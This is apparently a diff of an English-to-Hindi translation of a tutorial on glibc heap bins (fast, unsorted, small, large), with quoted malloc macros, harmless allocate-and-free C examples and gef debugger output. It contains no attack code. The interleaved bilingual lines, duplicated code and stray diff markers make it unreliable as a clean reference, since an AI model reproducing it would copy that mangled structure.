Fast bins are designed to **speed up memory allocation for small chunks** by keeping recently freed chunks in a quick-access structure. These bins use a Last-In, First-Out (LIFO) approach, which means that the **most recently freed chunk is the first** to be reused when there's a new allocation request. This behaviour is advantageous for speed, as it's faster to insert and remove from the top of a stack (LIFO) compared to a queue (FIFO).
|
||||
फास्ट बिन को **छोटे चंक्स के लिए मेमोरी आवंटन को तेज करने के लिए डिज़ाइन किया गया है** जो हाल ही में मुक्त किए गए चंक्स को त्वरित-एक्सेस संरचना में रखते हैं। ये बिन एक Last-In, First-Out (LIFO) दृष्टिकोण का उपयोग करते हैं, जिसका अर्थ है कि **हाल ही में मुक्त किया गया चंक पहले** फिर से उपयोग किया जाता है जब एक नया आवंटन अनुरोध होता है। यह व्यवहार गति के लिए फायदेमंद है, क्योंकि एक स्टैक (LIFO) के शीर्ष से डालना और हटाना एक कतार (FIFO) की तुलना में तेज होता है।
|
||||
|
||||
Additionally, **fast bins use singly linked lists**, not double linked, which further improves speed. Since chunks in fast bins aren't merged with neighbours, there's no need for a complex structure that allows removal from the middle. A singly linked list is simpler and quicker for these operations.
|
||||
इसके अतिरिक्त, **फास्ट बिन सिंगली लिंक्ड लिस्ट का उपयोग करते हैं**, डबल लिंक्ड नहीं, जो गति को और बढ़ाता है। चूंकि फास्ट बिन में चंक्स पड़ोसी के साथ मर्ज नहीं होते हैं, इसलिए मध्य से हटाने की अनुमति देने के लिए एक जटिल संरचना की आवश्यकता नहीं होती है। एक सिंगली लिंक्ड लिस्ट इन ऑपरेशनों के लिए सरल और तेज होती है।
|
||||
|
||||
Basically, what happens here is that the header (the pointer to the first chunk to check) is always pointing to the latest freed chunk of that size. So:
|
||||
बुनियादी रूप से, यहाँ जो होता है वह यह है कि हेडर (पहले चंक की जांच के लिए पॉइंटर) हमेशा उस आकार के नवीनतम मुक्त चंक की ओर इशारा कर रहा होता है। तो:
|
||||
|
||||
- When a new chunk is allocated of that size, the header is pointing to a free chunk to use. As this free chunk is pointing to the next one to use, this address is stored in the header so the next allocation knows where to get an available chunk
|
||||
- When a chunk is freed, the free chunk will save the address to the current available chunk and the address to this newly freed chunk will be put in the header
|
||||
- जब उस आकार का एक नया चंक आवंटित किया जाता है, तो हेडर एक मुक्त चंक की ओर इशारा कर रहा होता है। चूंकि यह मुक्त चंक उपयोग के लिए अगले चंक की ओर इशारा कर रहा है, यह पता हेडर में संग्रहीत किया जाता है ताकि अगला आवंटन जान सके कि उपलब्ध चंक कहाँ से प्राप्त करना है
|
||||
- जब एक चंक मुक्त किया जाता है, तो मुक्त चंक वर्तमान उपलब्ध चंक के पते को सहेजता है और इस नए मुक्त किए गए चंक का पता हेडर में रखा जाएगा
|
||||
|
||||
The maximum size of a linked list is `0x80` and they are organized so a chunk of size `0x20` will be in index `0`, a chunk of size `0x30` would be in index `1`...
|
||||
एक लिंक्ड लिस्ट का अधिकतम आकार `0x80` है और इन्हें इस तरह से व्यवस्थित किया गया है कि `0x20` आकार का एक चंक इंडेक्स `0` में होगा, `0x30` आकार का एक चंक इंडेक्स `1` में होगा...
|
||||
|
||||
> [!CAUTION]
|
||||
> Chunks in fast bins aren't set as available so they are keep as fast bin chunks for some time instead of being able to merge with other free chunks surrounding them.
|
||||
|
||||
> फास्ट बिन में चंक्स को उपलब्ध के रूप में सेट नहीं किया जाता है, इसलिए उन्हें कुछ समय के लिए फास्ट बिन चंक्स के रूप में रखा जाता है बजाय इसके कि वे उनके चारों ओर के अन्य मुक्त चंक्स के साथ मर्ज हो सकें।
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
|
||||
|
||||
/*
|
||||
Fastbins
|
||||
Fastbins
|
||||
|
||||
An array of lists holding recently freed small chunks. Fastbins
|
||||
are not doubly linked. It is faster to single-link them, and
|
||||
since chunks are never removed from the middles of these lists,
|
||||
double linking is not necessary. Also, unlike regular bins, they
|
||||
are not even processed in FIFO order (they use faster LIFO) since
|
||||
ordering doesn't much matter in the transient contexts in which
|
||||
fastbins are normally used.
|
||||
An array of lists holding recently freed small chunks. Fastbins
|
||||
are not doubly linked. It is faster to single-link them, and
|
||||
since chunks are never removed from the middles of these lists,
|
||||
double linking is not necessary. Also, unlike regular bins, they
|
||||
are not even processed in FIFO order (they use faster LIFO) since
|
||||
ordering doesn't much matter in the transient contexts in which
|
||||
fastbins are normally used.
|
||||
|
||||
Chunks in fastbins keep their inuse bit set, so they cannot
|
||||
be consolidated with other free chunks. malloc_consolidate
|
||||
releases all chunks in fastbins and consolidates them with
|
||||
other free chunks.
|
||||
*/
|
||||
Chunks in fastbins keep their inuse bit set, so they cannot
|
||||
be consolidated with other free chunks. malloc_consolidate
|
||||
releases all chunks in fastbins and consolidates them with
|
||||
other free chunks.
|
||||
*/
|
||||
|
||||
typedef struct malloc_chunk *mfastbinptr;
|
||||
#define fastbin(ar_ptr, idx) ((ar_ptr)->fastbinsY[idx])
|
||||
|
||||
/* offset 2 to use otherwise unindexable first 2 bins */
|
||||
#define fastbin_index(sz) \
|
||||
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
|
||||
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
|
||||
|
||||
|
||||
/* The maximum fastbin request size we support */
|
||||
@ -208,43 +199,39 @@ typedef struct malloc_chunk *mfastbinptr;
|
||||
|
||||
#define NFASTBINS (fastbin_index (request2size (MAX_FAST_SIZE)) + 1)
|
||||
```
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Add a fastbin chunk example</summary>
|
||||
|
||||
<summary>एक फास्टबिन चंक उदाहरण जोड़ें</summary>
|
||||
```c
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
|
||||
int main(void)
|
||||
{
|
||||
char *chunks[8];
|
||||
int i;
|
||||
char *chunks[8];
|
||||
int i;
|
||||
|
||||
// Loop to allocate memory 8 times
|
||||
for (i = 0; i < 8; i++) {
|
||||
chunks[i] = malloc(24);
|
||||
if (chunks[i] == NULL) { // Check if malloc failed
|
||||
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
|
||||
return 1;
|
||||
}
|
||||
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
|
||||
}
|
||||
// Loop to allocate memory 8 times
|
||||
for (i = 0; i < 8; i++) {
|
||||
chunks[i] = malloc(24);
|
||||
if (chunks[i] == NULL) { // Check if malloc failed
|
||||
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
|
||||
return 1;
|
||||
}
|
||||
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
|
||||
}
|
||||
|
||||
// Loop to free the allocated memory
|
||||
for (i = 0; i < 8; i++) {
|
||||
free(chunks[i]);
|
||||
}
|
||||
// Loop to free the allocated memory
|
||||
for (i = 0; i < 8; i++) {
|
||||
free(chunks[i]);
|
||||
}
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
ध्यान दें कि हम समान आकार के 8 चंक्स को कैसे आवंटित और मुक्त करते हैं ताकि वे tcache को भर दें और आठवां फास्ट चंक में संग्रहीत होता है।
|
||||
|
||||
Note how we allocate and free 8 chunks of the same size so they fill the tcache and the eight one is stored in the fast chunk.
|
||||
|
||||
Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the fast bin:
|
||||
|
||||
इसे संकलित करें और `main` फ़ंक्शन से `ret` ऑपकोड में एक ब्रेकपॉइंट के साथ डिबग करें। फिर `gef` के साथ आप देख सकते हैं कि tcache बिन भरा हुआ है और एक चंक फास्ट बिन में है:
|
||||
```bash
|
||||
gef➤ heap bins
|
||||
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
|
||||
@ -253,58 +240,54 @@ Tcachebins[idx=0, size=0x20, count=7] ← Chunk(addr=0xaaaaaaac1770, size=0x20,
|
||||
Fastbins[idx=0, size=0x20] ← Chunk(addr=0xaaaaaaac1790, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
|
||||
Fastbins[idx=1, size=0x30] 0x00
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
### Unsorted bin
|
||||
|
||||
The unsorted bin is a **cache** used by the heap manager to make memory allocation quicker. Here's how it works: When a program frees a chunk, and if this chunk cannot be allocated in a tcache or fast bin and is not colliding with the top chunk, the heap manager doesn't immediately put it in a specific small or large bin. Instead, it first tries to **merge it with any neighbouring free chunks** to create a larger block of free memory. Then, it places this new chunk in a general bin called the "unsorted bin."
|
||||
Unsorted bin एक **cache** है जिसका उपयोग heap manager द्वारा मेमोरी आवंटन को तेज़ बनाने के लिए किया जाता है। यह इस प्रकार काम करता है: जब एक प्रोग्राम एक टुकड़ा मुक्त करता है, और यदि यह टुकड़ा tcache या fast bin में आवंटित नहीं किया जा सकता है और शीर्ष टुकड़े के साथ टकरा नहीं रहा है, तो heap manager तुरंत इसे किसी विशेष छोटे या बड़े bin में नहीं रखता। इसके बजाय, यह पहले किसी पड़ोसी मुक्त टुकड़ों के साथ **मिलाने की कोशिश करता है** ताकि मुक्त मेमोरी का एक बड़ा ब्लॉक बनाया जा सके। फिर, यह इस नए टुकड़े को "unsorted bin" नामक एक सामान्य bin में रखता है।
|
||||
|
||||
When a program **asks for memory**, the heap manager **checks the unsorted bin** to see if there's a chunk of enough size. If it finds one, it uses it right away. If it doesn't find a suitable chunk in the unsorted bin, it moves all the chunks in this list to their corresponding bins, either small or large, based on their size.
|
||||
जब एक प्रोग्राम **मेमोरी के लिए पूछता है**, तो heap manager **unsorted bin की जांच करता है** यह देखने के लिए कि क्या वहाँ पर्याप्त आकार का एक टुकड़ा है। यदि इसे एक मिलता है, तो इसका तुरंत उपयोग किया जाता है। यदि इसे unsorted bin में उपयुक्त टुकड़ा नहीं मिलता है, तो यह इस सूची में सभी टुकड़ों को उनके आकार के आधार पर छोटे या बड़े bins में स्थानांतरित कर देता है।
|
||||
|
||||
Note that if a larger chunk is split in 2 halves and the rest is larger than MINSIZE, it'll be paced back into the unsorted bin.
|
||||
ध्यान दें कि यदि एक बड़ा टुकड़ा 2 आधों में विभाजित किया जाता है और बाकी MINSIZE से बड़ा है, तो इसे unsorted bin में वापस रखा जाएगा।
|
||||
|
||||
So, the unsorted bin is a way to speed up memory allocation by quickly reusing recently freed memory and reducing the need for time-consuming searches and merges.
|
||||
तो, unsorted bin मेमोरी आवंटन को तेज़ करने का एक तरीका है हाल ही में मुक्त की गई मेमोरी को जल्दी से पुन: उपयोग करके और समय-खपत करने वाले खोजों और विलय की आवश्यकता को कम करके।
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that even if chunks are of different categories, if an available chunk is colliding with another available chunk (even if they belong originally to different bins), they will be merged.
|
||||
> ध्यान दें कि भले ही टुकड़े विभिन्न श्रेणियों के हों, यदि एक उपलब्ध टुकड़ा दूसरे उपलब्ध टुकड़े के साथ टकरा रहा है (भले ही वे मूल रूप से विभिन्न bins से संबंधित हों), तो उन्हें मिला दिया जाएगा।
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Add a unsorted chunk example</summary>
|
||||
|
||||
```c
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
|
||||
int main(void)
|
||||
{
|
||||
char *chunks[9];
|
||||
int i;
|
||||
char *chunks[9];
|
||||
int i;
|
||||
|
||||
// Loop to allocate memory 8 times
|
||||
for (i = 0; i < 9; i++) {
|
||||
chunks[i] = malloc(0x100);
|
||||
if (chunks[i] == NULL) { // Check if malloc failed
|
||||
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
|
||||
return 1;
|
||||
}
|
||||
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
|
||||
}
|
||||
// Loop to allocate memory 8 times
|
||||
for (i = 0; i < 9; i++) {
|
||||
chunks[i] = malloc(0x100);
|
||||
if (chunks[i] == NULL) { // Check if malloc failed
|
||||
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
|
||||
return 1;
|
||||
}
|
||||
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
|
||||
}
|
||||
|
||||
// Loop to free the allocated memory
|
||||
for (i = 0; i < 8; i++) {
|
||||
free(chunks[i]);
|
||||
}
|
||||
// Loop to free the allocated memory
|
||||
for (i = 0; i < 8; i++) {
|
||||
free(chunks[i]);
|
||||
}
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
ध्यान दें कि हम एक ही आकार के 9 चंक्स को कैसे आवंटित और मुक्त करते हैं ताकि वे **tcache को भर दें** और आठवां अनसॉर्टेड बिन में संग्रहीत होता है क्योंकि यह **fastbin के लिए बहुत बड़ा है** और नौवां मुक्त नहीं किया गया है इसलिए नौवां और आठवां **शीर्ष चंक के साथ विलय नहीं होते**।
|
||||
|
||||
Note how we allocate and free 9 chunks of the same size so they **fill the tcache** and the eight one is stored in the unsorted bin because it's **too big for the fastbin** and the nineth one isn't freed so the nineth and the eighth **don't get merged with the top chunk**.
|
||||
|
||||
Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. Then with `gef` you can see that the tcache bin is full and one chunk is in the unsorted bin:
|
||||
|
||||
इसे संकलित करें और `main` फ़ंक्शन से `ret` ऑपकोड में एक ब्रेकपॉइंट के साथ डिबग करें। फिर `gef` के साथ आप देख सकते हैं कि tcache बिन भरा हुआ है और एक चंक अनसॉर्टेड बिन में है:
|
||||
```bash
|
||||
gef➤ heap bins
|
||||
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
|
||||
@ -319,23 +302,21 @@ Fastbins[idx=5, size=0x70] 0x00
|
||||
Fastbins[idx=6, size=0x80] 0x00
|
||||
─────────────────────────────────────────────────────────────────────── Unsorted Bin for arena at 0xfffff7f90b00 ───────────────────────────────────────────────────────────────────────
|
||||
[+] unsorted_bins[0]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10
|
||||
→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
|
||||
→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
|
||||
[+] Found 1 chunks in unsorted bin.
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
### Small Bins
|
||||
|
||||
Small bins are faster than large bins but slower than fast bins.
|
||||
छोटे बिन बड़े बिनों की तुलना में तेज होते हैं लेकिन फास्ट बिनों की तुलना में धीमे होते हैं।
|
||||
|
||||
Each bin of the 62 will have **chunks of the same size**: 16, 24, ... (with a max size of 504 bytes in 32bits and 1024 in 64bits). This helps in the speed on finding the bin where a space should be allocated and inserting and removing of entries on these lists.
|
||||
62 के प्रत्येक बिन में **एक ही आकार के चंक्स** होंगे: 16, 24, ... (32-बिट में अधिकतम आकार 504 बाइट और 64-बिट में 1024 बाइट)। यह उस बिन को खोजने की गति में मदद करता है जहाँ स्थान आवंटित किया जाना चाहिए और इन सूचियों पर प्रविष्टियों को डालने और हटाने में।
|
||||
|
||||
This is how the size of the small bin is calculated according to the index of the bin:
|
||||
|
||||
- Smallest size: 2\*4\*index (e.g. index 5 -> 40)
|
||||
- Biggest size: 2\*8\*index (e.g. index 5 -> 80)
|
||||
यहाँ छोटे बिन के आकार की गणना बिन के इंडेक्स के अनुसार की जाती है:
|
||||
|
||||
- सबसे छोटा आकार: 2\*4\*index (जैसे, index 5 -> 40)
|
||||
- सबसे बड़ा आकार: 2\*8\*index (जैसे, index 5 -> 80)
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
|
||||
#define NSMALLBINS 64
|
||||
@ -344,58 +325,52 @@ This is how the size of the small bin is calculated according to the index of th
|
||||
#define MIN_LARGE_SIZE ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH)
|
||||
|
||||
#define in_smallbin_range(sz) \
|
||||
((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE)
|
||||
((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE)
|
||||
|
||||
#define smallbin_index(sz) \
|
||||
((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\
|
||||
+ SMALLBIN_CORRECTION)
|
||||
((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\
|
||||
+ SMALLBIN_CORRECTION)
|
||||
```
|
||||
|
||||
Function to choose between small and large bins:
|
||||
|
||||
छोटे और बड़े बिन के बीच चयन करने के लिए फ़ंक्शन:
|
||||
```c
|
||||
#define bin_index(sz) \
|
||||
((in_smallbin_range (sz)) ? smallbin_index (sz) : largebin_index (sz))
|
||||
((in_smallbin_range (sz)) ? smallbin_index (sz) : largebin_index (sz))
|
||||
```
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Add a small chunk example</summary>
|
||||
|
||||
<summary>एक छोटा उदाहरण जोड़ें</summary>
|
||||
```c
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
|
||||
int main(void)
|
||||
{
|
||||
char *chunks[10];
|
||||
int i;
|
||||
char *chunks[10];
|
||||
int i;
|
||||
|
||||
// Loop to allocate memory 8 times
|
||||
for (i = 0; i < 9; i++) {
|
||||
chunks[i] = malloc(0x100);
|
||||
if (chunks[i] == NULL) { // Check if malloc failed
|
||||
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
|
||||
return 1;
|
||||
}
|
||||
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
|
||||
}
|
||||
// Loop to allocate memory 8 times
|
||||
for (i = 0; i < 9; i++) {
|
||||
chunks[i] = malloc(0x100);
|
||||
if (chunks[i] == NULL) { // Check if malloc failed
|
||||
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
|
||||
return 1;
|
||||
}
|
||||
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
|
||||
}
|
||||
|
||||
// Loop to free the allocated memory
|
||||
for (i = 0; i < 8; i++) {
|
||||
free(chunks[i]);
|
||||
}
|
||||
// Loop to free the allocated memory
|
||||
for (i = 0; i < 8; i++) {
|
||||
free(chunks[i]);
|
||||
}
|
||||
|
||||
chunks[9] = malloc(0x110);
|
||||
chunks[9] = malloc(0x110);
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
ध्यान दें कि हम एक ही आकार के 9 चंक्स को कैसे आवंटित और मुक्त करते हैं ताकि वे **tcache को भर दें** और आठवां अनसॉर्टेड बिन में संग्रहीत होता है क्योंकि यह **fastbin के लिए बहुत बड़ा है** और नौवां मुक्त नहीं किया गया है इसलिए नौवां और आठवां **शीर्ष चंक के साथ मर्ज नहीं होते**। फिर हम 0x110 का एक बड़ा चंक आवंटित करते हैं जो **अनसॉर्टेड बिन में चंक को छोटे बिन में ले जाता है**।
|
||||
|
||||
Note how we allocate and free 9 chunks of the same size so they **fill the tcache** and the eight one is stored in the unsorted bin because it's **too big for the fastbin** and the ninth one isn't freed so the ninth and the eights **don't get merged with the top chunk**. Then we allocate a bigger chunk of 0x110 which makes **the chunk in the unsorted bin goes to the small bin**.
|
||||
|
||||
Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the small bin:
|
||||
|
||||
इसे संकलित करें और `main` फ़ंक्शन से `ret` ऑपकोड में एक ब्रेकपॉइंट के साथ डिबग करें। फिर `gef` के साथ आप देख सकते हैं कि tcache बिन भरा हुआ है और एक चंक छोटे बिन में है:
|
||||
```bash
|
||||
gef➤ heap bins
|
||||
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
|
||||
@ -412,96 +387,90 @@ Fastbins[idx=6, size=0x80] 0x00
|
||||
[+] Found 0 chunks in unsorted bin.
|
||||
──────────────────────────────────────────────────────────────────────── Small Bins for arena at 0xfffff7f90b00 ────────────────────────────────────────────────────────────────────────
|
||||
[+] small_bins[16]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10
|
||||
→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
|
||||
→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
|
||||
[+] Found 1 chunks in 1 small non-empty bins.
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
### Large bins
|
||||
### बड़े बिन
|
||||
|
||||
Unlike small bins, which manage chunks of fixed sizes, each **large bin handle a range of chunk sizes**. This is more flexible, allowing the system to accommodate **various sizes** without needing a separate bin for each size.
|
||||
छोटे बिन के विपरीत, जो निश्चित आकार के टुकड़ों का प्रबंधन करते हैं, प्रत्येक **बड़ा बिन टुकड़ों के आकार की एक श्रृंखला को संभालता है**। यह अधिक लचीला है, जिससे सिस्टम को **विभिन्न आकारों** को समायोजित करने की अनुमति मिलती है बिना प्रत्येक आकार के लिए एक अलग बिन की आवश्यकता के।
|
||||
|
||||
In a memory allocator, large bins start where small bins end. The ranges for large bins grow progressively larger, meaning the first bin might cover chunks from 512 to 576 bytes, while the next covers 576 to 640 bytes. This pattern continues, with the largest bin containing all chunks above 1MB.
|
||||
एक मेमोरी आवंटक में, बड़े बिन छोटे बिन के समाप्त होने पर शुरू होते हैं। बड़े बिन के लिए रेंज धीरे-धीरे बढ़ती है, जिसका अर्थ है कि पहला बिन 512 से 576 बाइट्स तक के टुकड़ों को कवर कर सकता है, जबकि अगला 576 से 640 बाइट्स तक को कवर करता है। यह पैटर्न जारी रहता है, सबसे बड़े बिन में 1MB से ऊपर के सभी टुकड़े होते हैं।
|
||||
|
||||
Large bins are slower to operate compared to small bins because they must **sort and search through a list of varying chunk sizes to find the best fit** for an allocation. When a chunk is inserted into a large bin, it has to be sorted, and when memory is allocated, the system must find the right chunk. This extra work makes them **slower**, but since large allocations are less common than small ones, it's an acceptable trade-off.
|
||||
बड़े बिन छोटे बिन की तुलना में संचालन में धीमे होते हैं क्योंकि उन्हें आवंटन के लिए **सर्वश्रेष्ठ फिट खोजने के लिए विभिन्न टुकड़ों के आकार की सूची को क्रमबद्ध और खोजने** की आवश्यकता होती है। जब एक टुकड़ा बड़े बिन में डाला जाता है, तो इसे क्रमबद्ध करना होता है, और जब मेमोरी आवंटित की जाती है, तो सिस्टम को सही टुकड़ा खोजना होता है। यह अतिरिक्त कार्य उन्हें **धीमा** बनाता है, लेकिन चूंकि बड़े आवंटन छोटे आवंटनों की तुलना में कम सामान्य होते हैं, यह एक स्वीकार्य व्यापार-बंद है।
|
||||
|
||||
There are:
|
||||
यहाँ हैं:
|
||||
|
||||
- 32 bins of 64B range (collide with small bins)
|
||||
- 16 bins of 512B range (collide with small bins)
|
||||
- 8bins of 4096B range (part collide with small bins)
|
||||
- 4bins of 32768B range
|
||||
- 2bins of 262144B range
|
||||
- 1bin for remaining sizes
|
||||
- 64B रेंज के 32 बिन (छोटे बिन के साथ टकराते हैं)
|
||||
- 512B रेंज के 16 बिन (छोटे बिन के साथ टकराते हैं)
|
||||
- 4096B रेंज के 8 बिन (छोटे बिन के साथ आंशिक रूप से टकराते हैं)
|
||||
- 32768B रेंज के 4 बिन
|
||||
- 262144B रेंज के 2 बिन
|
||||
- शेष आकार के लिए 1 बिन
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Large bin sizes code</summary>
|
||||
|
||||
<summary>बड़े बिन आकार कोड</summary>
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
|
||||
|
||||
#define largebin_index_32(sz) \
|
||||
(((((unsigned long) (sz)) >> 6) <= 38) ? 56 + (((unsigned long) (sz)) >> 6) :\
|
||||
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
|
||||
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
|
||||
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
|
||||
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
|
||||
126)
|
||||
(((((unsigned long) (sz)) >> 6) <= 38) ? 56 + (((unsigned long) (sz)) >> 6) :\
|
||||
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
|
||||
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
|
||||
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
|
||||
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
|
||||
126)
|
||||
|
||||
#define largebin_index_32_big(sz) \
|
||||
(((((unsigned long) (sz)) >> 6) <= 45) ? 49 + (((unsigned long) (sz)) >> 6) :\
|
||||
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
|
||||
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
|
||||
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
|
||||
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
|
||||
126)
|
||||
(((((unsigned long) (sz)) >> 6) <= 45) ? 49 + (((unsigned long) (sz)) >> 6) :\
|
||||
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
|
||||
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
|
||||
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
|
||||
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
|
||||
126)
|
||||
|
||||
// XXX It remains to be seen whether it is good to keep the widths of
|
||||
// XXX the buckets the same or whether it should be scaled by a factor
|
||||
// XXX of two as well.
|
||||
#define largebin_index_64(sz) \
|
||||
(((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :\
|
||||
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
|
||||
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
|
||||
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
|
||||
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
|
||||
126)
|
||||
(((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :\
|
||||
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
|
||||
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
|
||||
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
|
||||
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
|
||||
126)
|
||||
|
||||
#define largebin_index(sz) \
|
||||
(SIZE_SZ == 8 ? largebin_index_64 (sz) \
|
||||
: MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz) \
|
||||
: largebin_index_32 (sz))
|
||||
(SIZE_SZ == 8 ? largebin_index_64 (sz) \
|
||||
: MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz) \
|
||||
: largebin_index_32 (sz))
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Add a large chunk example</summary>
|
||||
|
||||
<summary>एक बड़ा उदाहरण जोड़ें</summary>
|
||||
```c
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
|
||||
int main(void)
|
||||
{
|
||||
char *chunks[2];
|
||||
char *chunks[2];
|
||||
|
||||
chunks[0] = malloc(0x1500);
|
||||
chunks[1] = malloc(0x1500);
|
||||
free(chunks[0]);
|
||||
chunks[0] = malloc(0x2000);
|
||||
chunks[0] = malloc(0x1500);
|
||||
chunks[1] = malloc(0x1500);
|
||||
free(chunks[0]);
|
||||
chunks[0] = malloc(0x2000);
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
2 बड़े आवंटन किए जाते हैं, फिर एक को मुक्त किया जाता है (इसे अनसॉर्टेड बिन में डालते हुए) और एक बड़ा आवंटन किया जाता है (मुक्त एक को अनसॉर्टेड बिन से बड़े बिन में ले जाते हुए)।
|
||||
|
||||
2 large allocations are performed, then on is freed (putting it in the unsorted bin) and a bigger allocation in made (moving the free one from the usorted bin ro the large bin).
|
||||
|
||||
Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the large bin:
|
||||
|
||||
इसे संकलित करें और `main` फ़ंक्शन से `ret` ऑपकोड में एक ब्रेकपॉइंट के साथ डिबग करें। फिर `gef` के साथ आप देख सकते हैं कि tcache बिन भरा हुआ है और एक टुकड़ा बड़े बिन में है:
|
||||
```bash
|
||||
gef➤ heap bin
|
||||
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
|
||||
